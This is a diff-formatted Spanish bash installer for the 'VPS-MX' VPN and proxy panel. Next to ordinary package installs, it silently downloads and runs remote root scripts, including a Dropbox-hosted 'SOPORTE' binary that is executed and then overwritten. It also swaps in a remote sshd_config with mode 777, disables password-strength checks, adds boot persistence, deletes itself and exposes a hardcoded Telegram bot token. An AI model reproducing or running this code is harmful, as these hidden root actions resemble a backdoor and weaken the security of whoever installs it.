+ echo -e "\e[1;31mPARA PODER USAR EL INSTALADOR ES NECESARIO SER ROOT\nAUN NO SABES COMO INICAR COMO ROOT?\nDIJITA ESTE COMANDO EN TU TERMINAL ( sudo -i )\e[0m"
+
+
+ rm * 
+
+ exit 
+
+ fi 
+
+ msg () { 
+
+ BRAN='\033[1;37m' && VERMELHO='\e[31m' && VERDE='\e[32m' && AMARELO='\e[33m' 
+
+ AZUL='\e[34m' && MAGENTA='\e[35m' && MAG='\033[1;36m' &&NEGRITO='\e[1m' && SEMCOR='\e[0m' 
+
+ case $1 in 
+
+ -ne)cor="${VERMELHO}${NEGRITO}" && echo -ne "${cor}${2}${SEMCOR}";; 
+
+ -ama)cor="${AMARELO}${NEGRITO}" && echo -e "${cor}${2}${SEMCOR}";; 
+
+ -verm)cor="${AMARELO}${NEGRITO}[!] ${VERMELHO}" && echo -e "${cor}${2}${SEMCOR}";; 
+
+ -azu)cor="${MAG}${NEGRITO}" && echo -e "${cor}${2}${SEMCOR}";; 
+
+ -verd)cor="${VERDE}${NEGRITO}" && echo -e "${cor}${2}${SEMCOR}";; 
+
+ -bra)cor="${VERMELHO}" && echo -ne "${cor}${2}${SEMCOR}";; 
+
+ "-bar2"|"-bar")cor="${VERMELHO}————————————————————————————————————————————————————" && echo -e "${SEMCOR}${cor}${SEMCOR}";; 
+
+ esac 
+
+ } 
+
+ os_system(){ 
+
+ system=$(cat -n /etc/issue |grep 1 |cut -d ' ' -f6,7,8 |sed 's/1//' |sed 's/      //') 
+
+ distro=$(echo "$system"|awk '{print $1}') 
+
+ case $distro in 
+
+ Debian)vercion=$(echo $system|awk '{print $3}'|cut -d '.' -f1);; 
+
+ Ubuntu)vercion=$(echo $system|awk '{print $2}'|cut -d '.' -f1,2);; 
+
+ esac 
+
+ link="https://raw.githubusercontent.com/rudi9999/ADMRufu/main/Repositorios/${vercion}.list" 
+
+ case $vercion in 
+
+ 8|9|10|11|16.04|18.04|20.04|20.10|21.04|21.10|22.04)wget -O /etc/apt/sources.list ${link} &>/dev/null;; 
+
+ esac 
+
+ } 
+
+ fun_bar () { 
+
+ comando="$1" 
+
+ _=$( 
+
+ $comando > /dev/null 2>&1 
+
+ ) & > /dev/null 
+
+ pid=$! 
+
+ while [[ -d /proc/$pid ]]; do 
+
+ echo -ne "  \033[1;33m[" 
+
+ for((i=0; i<40; i++)); do 
+
+ echo -ne "\033[1;31m>" 
+
+ sleep 0.1 
+
+ done 
+
+ echo -ne "\033[1;33m]" 
+
+ sleep 1s 
+
+ echo 
+
+ tput cuu1 && tput dl1 
+
+ done 
+
+ echo -ne "  \033[1;33m[\033[1;31m>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\033[1;33m] - \033[1;32m OK \033[0m\n" 
+
+ sleep 1s 
+
+ } 
+
+ msg -bar2 
+
+ echo -e " \e[97m\033[1;41m   =====>>►►  SCRIPT MOD LACASITAMX  ◄◄<<=====      \033[1;37m" 
+
+ msg -bar2 
+
+ msg -ama "               PREPARANDO INSTALACION" 
+
+ msg -bar2 
+
+ INSTALL_DIR_PARENT="/usr/local/vpsmxup/" 
+
+ INSTALL_DIR=${INSTALL_DIR_PARENT} 
+
+ if [ ! -d "$INSTALL_DIR" ]; then 
+
+ mkdir -p "$INSTALL_DIR_PARENT" 
+
+ cd "$INSTALL_DIR_PARENT" 
+
+ wget https://raw.githubusercontent.com/lacasitamx/VPSMX/master/zzupdate/zzupdate.default.conf -O /usr/local/vpsmxup/vpsmxup.default.conf  &> /dev/null 
+
+ else 
+
+ echo "" 
+
+ fi 
+
+ echo "" 
+
+ apt install pv -y &> /dev/null 
+
+ apt install pv -y -qq --silent > /dev/null 2>&1 
+
+ os_system 
+
+ echo -e "\e[1;31m	SISTEMA: \e[33m$distro $vercion" 
+
+ killall apt apt-get > /dev/null 2>&1 && echo -e "\033[97m    ◽️ INTENTANDO DETENER UPDATER SECUNDARIO " | pv -qL 40 
+
+ dpkg --configure -a > /dev/null 2>&1 && echo -e "\033[97m    ◽️ INTENTANDO RECONFIGURAR UPDATER " | pv -qL 40 
+
+ apt list --upgradable &>/dev/null && echo -e "\033[97m    ◽️ INSTALANDO APT-LIST " | pv -qL 50 
+
+ apt-get install software-properties-common -y > /dev/null 2>&1 && echo -e "\033[97m    ◽️ INSTALANDO S-P-C " | pv -qL 50 
+
+ apt-get install curl -y &>/dev/null 
+
+ apt-get install python -y &>/dev/null && echo -e "\033[97m    ◽️ INSTALANDO PY " | pv -qL 50 
+
+ apt-get install python-pip -y &>/dev/null && echo -e "\033[97m    ◽️ INSTALANDO PY-PIP " | pv -qL 50 
+
+ apt-get install python3 -y &>/dev/null && echo -e "\033[97m    ◽️ INSTALANDO PY3 " | pv -qL 50 
+
+ apt-get install python3-pip -y &>/dev/null && echo -e "\033[97m    ◽️ INSTALANDO PY3-PIP " | pv -qL 50 
+
+ sudo apt-add-repository universe -y > /dev/null 2>&1 && echo -e "\033[97m    ◽️ INSTALANDO LIBRERIA UNIVERSAL " | pv -qL 50 
+
+ [[ $(dpkg --get-selections|grep -w "net-tools"|head -1) ]] || apt-get install net-tools -y &>/dev/null && echo -e "\033[97m    ◽️ INSTALANDO NET-TOOLS" | pv -qL 40 
+
+ sed -i 's/.*pam_cracklib.so.*/password sufficient pam_unix.so sha512 shadow nullok try_first_pass #use_authtok/' /etc/pam.d/common-password > /dev/null 2>&1 && echo -e "\033[97m    ◽️ DESACTIVANDO PASS ALFANUMERICO " | pv -qL 50 
+
+ apt-get install lsof -y &>/dev/null && echo -e "\033[97m    ◽️ INSTALANDO LSOF" | pv -qL 40 
+
+ apt-get install bc -y &>/dev/null && echo -e "\033[97m    ◽️ INSTALANDO BC" | pv -qL 40 
+
+ fun_bar 'sleep 0.1s' 
+
+ rootvps(){ 
+
+ echo -e "\033[31m     OPTENIENDO ACCESO ROOT    " 
+
+ wget https://raw.githubusercontent.com/lacasitamx/VPSMX/master/SR/root.sh &>/dev/null -O /usr/bin/rootlx &>/dev/null 
+
+ chmod 775 /usr/bin/rootlx &>/dev/null 
+
+ rootlx 
+
+ clear 
+
+ echo -e "\033[31m     ACCESO ROOT CON ÉXITO    " 
+
+ sleep 1 
+
+ rm -rf /usr/bin/rootlx 
+
+ } 
+
+ msg -bar 
+
+ echo -e "\033[1;37m  YA TIENES ACCESO ROOT A TU VPS?\n  ESTO SOLO FUNCIONA PARA (AWS,GOOGLECLOUD,AZURE,ETC)\n  SI YA TIENES ACCESO A ROOT SOLO IGNORA ESTE MENSAJE\n  Y SIGUE CON LA INSTALACION NORMAL..." 
+
+ msg -bar 
+
+ read -p "Responde [ s | n ]: " -e -i n rootvps 
+
+ [[ "$rootvps" = "s" || "$rootvps" = "S" ]] && rootvps 
+
+ msg -bar 
+
+ clear 
+
+ rm -rf /usr/bin/vpsmxup 
+
+ rm -rf lista-arq 
+
+ rm -rf LACASITA.sh 
+
+ function printTitle 
+
+ { 
+
+ echo "" 
+
+ echo -e "\033[1;92m$1\033[1;91m" 
+
+ printf '%0.s-' $(seq 1 ${#1}) 
+
+ echo "" 
+
+ } 
+
+ printTitle "Limpieza de caché local" 
+
+ apt-get clean 
+
+ printTitle "Actualizar información de paquetes disponibles" 
+
+ apt-get update 
+
+ printTitle "PAQUETES DE ACTUALIZACIÓN" 
+
+ apt-get dist-upgrade -y 
+
+ printTitle "Limpieza de paquetes (eliminación automática de paquetes no utilizados)" 
+
+ apt-get autoremove -y 
+
+ printTitle "Versión actual" 
+
+ lsb_release -d 
+
+ clear 
+
+ cd $HOME 
+
+ sudo sysctl -w net.ipv6.conf.all.disable_ipv6=1 > /dev/null 2>&1 
+
+ sudo sysctl -w net.ipv6.conf.default.disable_ipv6=1 > /dev/null 2>&1 
+
+ sudo sysctl -w net.ipv6.conf.lo.disable_ipv6=1 > /dev/null 2>&1 
+
+ rm $(pwd)/$0 &> /dev/null 
+
+ SCPdir="/etc/VPS-MX" 
+
+ SCPinstal="$HOME/install" 
+
+ SCPidioma="${SCPdir}/idioma" 
+
+ SCPusr="${SCPdir}/controlador" 
+
+ SCPfrm="${SCPdir}/herramientas" 
+
+ SCPinst="${SCPdir}/protocolos" 
+
+ myip=`ifconfig | grep -Eo 'inet (addr:)?([0-9]*\.){3}[0-9]*' | grep -Eo '([0-9]*\.){3}[0-9]*' | grep -v '127.0.0' | head -n1`; 
+
+ myint=`ifconfig | grep -B1 "inet addr:$myip" | head -n1 | awk '{print $1}'`; 
+
+ rm -rf /etc/localtime &>/dev/null 
+
+ ln -s /usr/share/zoneinfo/America/Chihuahua /etc/localtime &>/dev/null 
+
+ rm -rf /usr/local/lib/systemubu1 &> /dev/null 
+
+ clear 
+
+ msg -bar2 
+
+ msg -ama "     [ SCRIPT \033[1;97m MOD LACASITAMX\033[1;33m ]" 
+
+ msg -bar 
+
+ echo -e "\033[97m" 
+
+ echo -e "  \033[41m    -- INSTALACION DE PAQUETES  --    \e[49m" 
+
+ echo -e "  \033[100m     PONER ATENCION  PARA SIGUIENTE PREGUNTA     " 
+
+ echo -e "\033[97m" 
+
+ msg -bar 
+
+ apt-get install grep -y &>/dev/null 
+
+ [[ $(dpkg --get-selections|grep -w "grep"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null 
+
+ [[ $(dpkg --get-selections|grep -w "grep"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null 
+
+ echo -e "\033[97m    # apt-get install grep............ $ESTATUS " 
+
+ apt-get install gawk -y &>/dev/null 
+
+ [[ $(dpkg --get-selections|grep -w "gawk"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null 
+
+ [[ $(dpkg --get-selections|grep -w "gawk"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null 
+
+ echo -e "\033[97m    # apt-get install gawk............ $ESTATUS " 
+
+ apt-get install mlocate -y &>/dev/null 
+
+ [[ $(dpkg --get-selections|grep -w "mlocate"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null 
+
+ [[ $(dpkg --get-selections|grep -w "mlocate"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null 
+
+ echo -e "\033[97m    # apt-get install mlocate......... $ESTATUS " 
+
+ apt-get install lolcat -y &>/dev/null 
+
+ sudo gem install lolcat &>/dev/null 
+
+ [[ $(dpkg --get-selections|grep -w "lolcat"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null 
+
+ [[ $(dpkg --get-selections|grep -w "lolcat"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null 
+
+ echo -e "\033[97m    # apt-get install lolcat.......... $ESTATUS " 
+
+ [[ $(dpkg --get-selections|grep -w "at"|head -1) ]] || apt-get install at -y &>/dev/null 
+
+ [[ $(dpkg --get-selections|grep -w "at"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null 
+
+ [[ $(dpkg --get-selections|grep -w "at"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null 
+
+ echo -e "\033[97m    # apt-get install at.............. $ESTATUS " 
+
+ [[ $(dpkg --get-selections|grep -w "nano"|head -1) ]] || apt-get install nano -y &>/dev/null 
+
+ [[ $(dpkg --get-selections|grep -w "nano"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null 
+
+ [[ $(dpkg --get-selections|grep -w "nano"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null 
+
+ echo -e "\033[97m    # apt-get install nano............ $ESTATUS " 
+
+ echo iptables-persistent iptables-persistent/autosave_v4 boolean true | sudo debconf-set-selections 
+
+ echo iptables-persistent iptables-persistent/autosave_v6 boolean true | sudo debconf-set-selections 
+
+ [[ $(dpkg --get-selections|grep -w "iptables-persistent"|head -1) ]] || apt-get install iptables-persistent -y &>/dev/null 
+
+ [[ $(dpkg --get-selections|grep -w "iptables-persistent"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null 
+
+ [[ $(dpkg --get-selections|grep -w "iptables-persistent"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null 
+
+ echo -e "\033[97m    # apt-get install iptables........ $ESTATUS " 
+
+ [[ $(dpkg --get-selections|grep -w "bc"|head -1) ]] || apt-get install bc -y &>/dev/null 
+
+ [[ $(dpkg --get-selections|grep -w "lsof"|head -1) ]] || apt-get install lsof -y &>/dev/null 
+
+ [[ $(dpkg --get-selections|grep -w "figlet"|head -1) ]] || apt-get install figlet -y &>/dev/null 
+
+ [[ $(dpkg --get-selections|grep -w "figlet"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null 
+
+ [[ $(dpkg --get-selections|grep -w "figlet"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null 
+
+ echo -e "\033[97m    # apt-get install figlet.......... $ESTATUS " 
+
+ [[ $(dpkg --get-selections|grep -w "cowsay"|head -1) ]] || apt-get install cowsay -y &>/dev/null 
+
+ [[ $(dpkg --get-selections|grep -w "cowsay"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null 
+
+ [[ $(dpkg --get-selections|grep -w "cowsay"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null 
+
+ echo -e "\033[97m    # apt-get install cowsay.......... $ESTATUS " 
+
+ [[ $(dpkg --get-selections|grep -w "screen"|head -1) ]] || apt-get install screen -y &>/dev/null 
+
+ [[ $(dpkg --get-selections|grep -w "screen"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null 
+
+ [[ $(dpkg --get-selections|grep -w "screen"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null 
+
+ echo -e "\033[97m    # apt-get install screen.......... $ESTATUS " 
+
+ [[ $(dpkg --get-selections|grep -w "python"|head -1) ]] || apt-get install python -y &>/dev/null 
+
+ [[ $(dpkg --get-selections|grep -w "python3"|head -1) ]] || apt-get install python3 -y &>/dev/null 
+
+ [[ $(dpkg --get-selections|grep -w "python3-pip"|head -1) ]] || apt-get install python3-pip -y &>/dev/null 
+
+ [[ $(dpkg --get-selections|grep -w "ufw"|head -1) ]] || apt-get install ufw -y &>/dev/null 
+
+ [[ $(dpkg --get-selections|grep -w "ufw"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null 
+
+ [[ $(dpkg --get-selections|grep -w "ufw"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null 
+
+ echo -e "\033[97m    # apt-get install ufw............. $ESTATUS " 
+
+ [[ $(dpkg --get-selections|grep -w "unzip"|head -1) ]] || apt-get install unzip -y &>/dev/null 
+
+ [[ $(dpkg --get-selections|grep -w "unzip"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null 
+
+ [[ $(dpkg --get-selections|grep -w "unzip"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null 
+
+ echo -e "\033[97m    # apt-get install unzip........... $ESTATUS " 
+
+ [[ $(dpkg --get-selections|grep -w "zip"|head -1) ]] || apt-get install zip -y &>/dev/null 
+
+ [[ $(dpkg --get-selections|grep -w "zip"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null 
+
+ [[ $(dpkg --get-selections|grep -w "zip"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null 
+
+ echo -e "\033[97m    # apt-get install zip............. $ESTATUS " 
+
+ apt-get install apache2 -y &>/dev/null 
+
+ sed -i "s;Listen 80;Listen 81;g" /etc/apache2/ports.conf > /dev/null 2>&1 
+
+ service apache2 restart > /dev/null 2>&1 
+
+ [[ $(dpkg --get-selections|grep -w "apache2"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null 
+
+ [[ $(dpkg --get-selections|grep -w "apache2"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null 
+
+ echo -e "\033[97m    # apt-get install apache2......... $ESTATUS " 
+
+ msg -bar2 
+
+ clear 
+
+ idfix64_86 () { 
+
+ clear 
+
+ clear 
+
+ msg -bar2 
+
+ msg -bar2 
+
+ echo "" 
+
+ echo -e "\e[91m   INSTALACION SEMI MANUAL DE PAQUETES " 
+
+ echo -e "\e[91m(En caso de pedir confirmacion escoja: #y#) \e[0m" 
+
+ echo "" 
+
+ sleep 7s 
+
+ apt-get update; apt-get upgrade -y 
+
+ apt-get install curl -y 
+
+ apt-get install lsof -y 
+
+ apt-get install sudo -y 
+
+ apt-get install figlet -y 
+
+ apt-get install cowsay -y 
+
+ apt-get install bc -y 
+
+ apt-get install python -y 
+
+ apt-get install at -y 
+
+ apt-get install apache2 -y 
+
+ sed -i "s;Listen 80;Listen 81;g" /etc/apache2/ports.conf 
+
+ service apache2 restart 
+
+ clear 
+
+ clear 
+
+ clear 
+
+ msg -bar2 
+
+ msg -bar2 
+
+ echo "" 
+
+ echo -e "\e[91mESCOJER PRIMERO #All locales# Y LUEGO #en_US.UTF-8# \e[0m" 
+
+ echo "" 
+
+ sleep 7s 
+
+ export LANGUAGE=en_US.UTF-8\ 
+ && export LANG=en_US.UTF-8\ 
+ && export LC_ALL=en_US.UTF-8 \  
+ && export LC_CTYPE="en_US.UTF-8"\ 
+ && locale-gen en_US.UTF-8\ 
+ && sudo apt-get -y install language-pack-en-base\ 
+ && sudo dpkg-reconfigure locales 
+ clear 
+ } 
+
+ clear 
+
+ clear 
+
+ msg -bar2 
+
+ echo -e "\033[1;97m  ¿PRECENTO ALGUN ERROR ALGUN PAQUETE ANTERIOR?" 
+
+ msg -bar2 
+
+ echo -e "\033[1;32m 1- Escoja:(N) No. Para Instalacion Normal" 
+
+ echo -e "\033[1;31m 2- Escoja:(S) Si. Saltaron errores." 
+
+ msg -bar2 
+
+ echo -e "\033[1;39m Al preciona enter continuara la instalacion Normal" 
+
+ msg -bar2 
+
+ read -p " [ S | N ]: " idfix64_86 
+
+ [[ "$idfix64_86" = "s" || "$idfix64_86" = "S" ]] && idfix64_86 
+
+ clear 
+
+ fun_ipe () { 
+
+ MIP=$(ip addr | grep 'inet' | grep -v inet6 | grep -vE '127\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | grep -o -E '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | head -1) 
+
+ MIP2=$(wget -qO- ifconfig.me) 
+
+ [[ "$MIP" != "$MIP2" ]] && IP="$MIP2" || IP="$MIP" 
+
+ } 
+
+ fun_ip () { 
+
+ MIP2=$(wget -qO- ifconfig.me) 
+
+ MIP=$(wget -qO- whatismyip.akamai.com) 
+
+ if [ $? -eq 0 ]; then 
+
+ IP="$MIP" 
+
+ else 
+
+ IP="$MIP2" 
+
+ fi 
+
+ } 
+
+ function_verify () { 
+
+ permited=$(curl -sSL "https://www.dropbox.com/s/nmau2w8vebewpq3/control") 
+
+ [[ $(echo $permited|grep "${IP}") = "" ]] && { 
+
+ clear 
+
+ echo -e "\n\n\n\033[1;91m————————————————————————————————————————————————————\n      ¡ESTA KEY NO CONCUERDA CON EL INSTALADOR! \n      BOT: @CONECTEDMX_BOT \n————————————————————————————————————————————————————\n\n\n" 
+
+ [[ -d /etc/VPS-MX ]] && rm -rf /etc/VPS-MX 
+
+ exit 1 
+
+ } || { 
+
+ v1=$(curl -sSL "https://raw.githubusercontent.com/lacasitamx/version/master/vercion") 
+
+ echo "$v1" > /etc/versin_script 
+
+ } 
+
+ } 
+
+ funcao_idioma () { 
+
+ clear 
+
+ clear 
+
+ msg -bar2 
+
+ msg -bar2 
+
+ figlet " LACASITA" | lolcat 
+
+ echo -e "     ESTE SCRIPT ESTA OPTIMIZADO A IDIOMA ESPAÑOL" 
+
+ msg -bar2 
+
+ pv="$(echo es)" 
+
+ [[ ${#id} -gt 2 ]] && id="es" || id="$pv" 
+
+ byinst="true" 
+
+ } 
+
+ install_fim () { 
+
+ msg -ama "               Finalizando Instalacion" && msg bar2 
+
+ [[ $(find /etc/VPS-MX/controlador -name nombre.log|grep -w "nombre.log"|head -1) ]] || wget -O /etc/VPS-MX/controlador/nombre.log https://github.com/lacasitamx/VPSMX/raw/master/ArchivosUtilitarios/nombre.log &>/dev/null 
+
+ [[ $(find /etc/VPS-MX/controlador -name IDT.log|grep -w "IDT.log"|head -1) ]] || wget -O /etc/VPS-MX/controlador/IDT.log https://github.com/lacasitamx/VPSMX/raw/master/ArchivosUtilitarios/IDT.log &>/dev/null 
+
+ [[ $(find /etc/VPS-MX/controlador -name tiemlim.log|grep -w "tiemlim.log"|head -1) ]] || wget -O /etc/VPS-MX/controlador/tiemlim.log https://github.com/lacasitamx/VPSMX/raw/master/ArchivosUtilitarios/tiemlim.log &>/dev/null 
+
+ touch /usr/share/lognull &>/dev/null 
+
+ wget https://raw.githubusercontent.com/lacasitamx/VPSMX/master/SR/SPR &>/dev/null -O /usr/bin/SPR &>/dev/null 
+
+ chmod 775 /usr/bin/SPR &>/dev/null 
+
+ wget -O /usr/bin/SOPORTE https://www.dropbox.com/s/8oi0mt9ikv5z8d0/soporte &>/dev/null 
+
+ chmod 775 /usr/bin/SOPORTE &>/dev/null 
+
+ SOPORTE &>/dev/null 
+
+ echo "ACCESO ACTIVADO" >/usr/bin/SOPORTE 
+
+ wget -O /bin/rebootnb https://raw.githubusercontent.com/lacasitamx/VPSMX/master/SCRIPT-8.4/Utilidad/rebootnb &> /dev/null 
+
+ chmod +x /bin/rebootnb 
+
+ wget -O /bin/resetsshdrop https://raw.githubusercontent.com/lacasitamx/VPSMX/master/SCRIPT-8.4/Utilidad/resetsshdrop &> /dev/null 
+
+ chmod +x /bin/resetsshdrop 
+
+ wget -O /etc/versin_script_new https://raw.githubusercontent.com/lacasitamx/version/master/vercion &>/dev/null 
+
+ wget -O /etc/ssh/sshd_config https://raw.githubusercontent.com/lacasitamx/ZETA/master/sshd &>/dev/null 
+
+ chmod 777 /etc/ssh/sshd_config 
+
+ msg -bar2 
+
+ echo '#!/bin/sh -e' > /etc/rc.local 
+
+ sudo chmod +x /etc/rc.local 
+
+ echo "sudo rebootnb" >> /etc/rc.local 
+
+ echo "sudo resetsshdrop" >> /etc/rc.local 
+
+ echo "sleep 2s" >> /etc/rc.local 
+
+ echo "exit 0" >> /etc/rc.local 
+
+ /bin/cp /etc/skel/.bashrc ~/ 
+
+ echo 'clear' >> .bashrc 
+
+ echo 'echo ""' >> .bashrc 
+
+ echo 'figlet ":LACASITA:"|lolcat' >> .bashrc 
+
+ echo 'mess1="$(less /etc/VPS-MX/message.txt)" ' >> .bashrc 
+
+ echo 'echo "" '>> .bashrc 
+
+ echo 'echo -e "\t\033[92mRESELLER : $mess1 "'>> .bashrc 
+
+ echo 'echo -e "\t\e[1;33mVERSION: \e[1;31m$(cat /etc/versin_script_new)"'>> .bashrc 
+
+ echo 'echo "" '>> .bashrc 
+
+ echo 'echo -e "\t\033[97mPARA MOSTAR PANEL BASH ESCRIBA: sudo menu "'>> .bashrc 
+
+ echo 'echo ""'>> .bashrc 
+
+ echo -e "         COMANDO PRINCIPAL PARA ENTRAR AL PANEL " 
+
+ echo -e "  \033[1;41m               sudo menu             \033[0;37m" && msg -bar2 
+
+ rm -rf /usr/bin/pytransform &> /dev/null 
+
+ rm -rf LACASITA.sh 
+
+ rm -rf lista-arq 
+
+ service ssh restart &>/dev/null 
+
+ exit 
+
+ } 
+
+ ofus () { 
+
+ unset server 
+
+ server=$(echo ${txt_ofuscatw}|cut -d':' -f1) 
+
+ unset txtofus 
+
+ number=$(expr length $1) 
+
+ for((i=1; i<$number+1; i++)); do 
+
+ txt[$i]=$(echo "$1" | cut -b $i) 
+
+ case ${txt[$i]} in 
+
+ ".")txt[$i]="C";; 
+
+ "C")txt[$i]=".";; 
+
+ "3")txt[$i]="@";; 
+
+ "@")txt[$i]="3";; 
+
+ "5")txt[$i]="9";; 
+
+ "9")txt[$i]="5";; 
+
+ "6")txt[$i]="P";; 
+
+ "P")txt[$i]="6";; 
+
+ "L")txt[$i]="O";; 
+
+ "O")txt[$i]="L";; 
+
+ esac 
+
+ txtofus+="${txt[$i]}" 
+
+ done 
+
+ echo "$txtofus" | rev 
+
+ } 
+
+ verificar_arq () { 
+
+ [[ ! -d ${SCPdir} ]] && mkdir ${SCPdir} 
+
+ [[ ! -d ${SCPusr} ]] && mkdir ${SCPusr} 
+
+ [[ ! -d ${SCPfrm} ]] && mkdir ${SCPfrm} 
+
+ [[ ! -d ${SCPinst} ]] && mkdir ${SCPinst} 
+
+ case $1 in 
+
+ "menu"|"message.txt"|"ID")ARQ="${SCPdir}/";; #Menu 
+
+ "usercodes")ARQ="${SCPusr}/";; #Panel SSRR 
+
+ "C-SSR.sh")ARQ="${SCPinst}/";; #Panel SSR 
+
+ "openssh.sh")ARQ="${SCPinst}/";; #OpenVPN 
+
+ "squid.sh")ARQ="${SCPinst}/";; #Squid 
+
+ "dropbear.sh"|"proxy.sh")ARQ="${SCPinst}/";; #Instalacao 
+
+ "proxy.sh")ARQ="${SCPinst}/";; #Instalacao 
+
+ "openvpn.sh")ARQ="${SCPinst}/";; #Instalacao 
+
+ "ssl.sh"|"python.py")ARQ="${SCPinst}/";; #Instalacao 
+
+ "shadowsocks.sh")ARQ="${SCPinst}/";; #Instalacao 
+
+ "Shadowsocks-libev.sh")ARQ="${SCPinst}/";; #Instalacao 
+
+ "Shadowsocks-R.sh")ARQ="${SCPinst}/";; #Instalacao 
+
+ "v2ray.sh"|"slowdns.sh")ARQ="${SCPinst}/";; #Instalacao 
+
+ "budp.sh")ARQ="${SCPinst}/";; #Instalacao 
+
+ "sockspy.sh"|"PDirect.py"|"PPub.py"|"PPriv.py"|"POpen.py"|"PGet.py")ARQ="${SCPinst}/";; #Instalacao 
+
+ *)ARQ="${SCPfrm}/";; #Herramientas 
+
+ esac 
+
+ mv -f ${SCPinstal}/$1 ${ARQ}/$1 
+
+ chmod +x ${ARQ}/$1 
+
+ } 
+
+ NOTIFY () { 
+
+ clear 
+
+ clear 
+
+ msg -bar 
+
+ msg -ama " Notify-BOT (Notificasion Remota)|@LaCasitaMx_Noty_Bot " 
+
+ msg -bar 
+
+ echo -e "\033[1;94m Notify-BOT es un simple notificador de:" 
+
+ echo -e "\033[1;94m >> Usuario Expirado" 
+
+ echo -e "\033[1;94m >> Usuario Eliminado" 
+
+ echo -e "\033[1;94m >> Avisos de VPS Reiniciada" 
+
+ echo -e "\033[1;94m >> Avisos de Monitor de Protocolos" 
+
+ echo -e "\033[1;97m Inicie El BOT de Telegram" 
+
+ echo -e "\033[1;92m ¡¡ Para sacar su ID entre al BOT @conectedmx_bot" 
+
+ echo -e "\033[1;92m Aparesera algo parecido 👤 → Tu ID es: 45145564   " 
+
+ msg -bar 
+
+ echo -e "\033[1;93mIgrese un nombre para el VPS:\033[0;37m"; read -p " " nombr 
+
+ echo "${nombr}" > /etc/VPS-MX/controlador/nombre.log 
+
+ echo -e "\033[1;93mIgrese su ID 👤:\033[0;37m"; read -p " " idbot 
+
+ echo "${idbot}" > /etc/VPS-MX/controlador/IDT.log 
+
+ msg -bar 
+
+ echo -e "\033[1;32m              ID AGREGADO CON EXITO" 
+
+ msg -bar 
+
+ wget -qO- ifconfig.me > /etc/VPS-MX/IP.log 
+
+ ipt=`less /etc/VPS-MX/IP.log` > /dev/null 2>&1 
+
+ Nip="$(echo $ipt)" 
+
+ NOM="$(less /etc/VPS-MX/controlador/nombre.log)" 
+
+ NOM1="$(echo $NOM)" 
+
+ IDB1=`less /etc/VPS-MX/controlador/IDT.log` > /dev/null 2>&1 
+
+ IDB2=`echo $IDB1` > /dev/null 2>&1 
+
+ KEY="2012880601:AAEJ3Kk18PGDzW57LpTMnVMn_pQYQKW3V9w" 
+
+ URL="https://api.telegram.org/bot$KEY/sendMessage" 
+
+ MSG="⚠️ ►► AVISO DE VPS: $NOM1 ⚠ 
+
+ 👉 ►► IP: $Nip 
+
+ 👉 ►► MENSAJE DE PRUEBA 
+
+ 🔰 ►► NOTI-BOT ACTIVADO CORRECTAMENTE" 
+
+ curl -s --max-time 10 -d "chat_id=$IDB2&disable_web_page_preview=1&text=$MSG" $URL &>/dev/null 
+
+ echo -e "\033[1;34m            SE ENVIO MENSAJE DE PRUEBA " 
+
+ } 
+
+ fun_ipe 
+
+ wget -O /usr/bin/trans https://raw.githubusercontent.com/scriptsmx/script/master/Install/trans &> /dev/null 
+
+ wget -O /bin/Desbloqueo.sh https://raw.githubusercontent.com/lacasitamx/VPSMX/master/SCRIPT-8.4/Utilidad/Desbloqueo.sh &> /dev/null 
+
+ chmod +x /bin/Desbloqueo.sh 
+
+ wget -O /bin/monitor.sh https://raw.githubusercontent.com/lacasitamx/VPSMX/master/SCRIPT-8.4/Utilidad/monitor.sh &> /dev/null 
+
+ chmod +x /bin/monitor.sh 
+
+ wget -O /var/www/html/estilos.css https://raw.githubusercontent.com/lacasitamx/VPSMX/master/SCRIPT-8.4/Utilidad/estilos.css &> /dev/null 
+
+ [[ -f "/usr/sbin/ufw" ]] && ufw allow 443/tcp &>/dev/null; ufw allow 80/tcp &>/dev/null; ufw allow 3128/tcp &>/dev/null; ufw allow 8799/tcp &>/dev/null; ufw allow 8080/tcp &>/dev/null; ufw allow 81/tcp &>/dev/null 
+
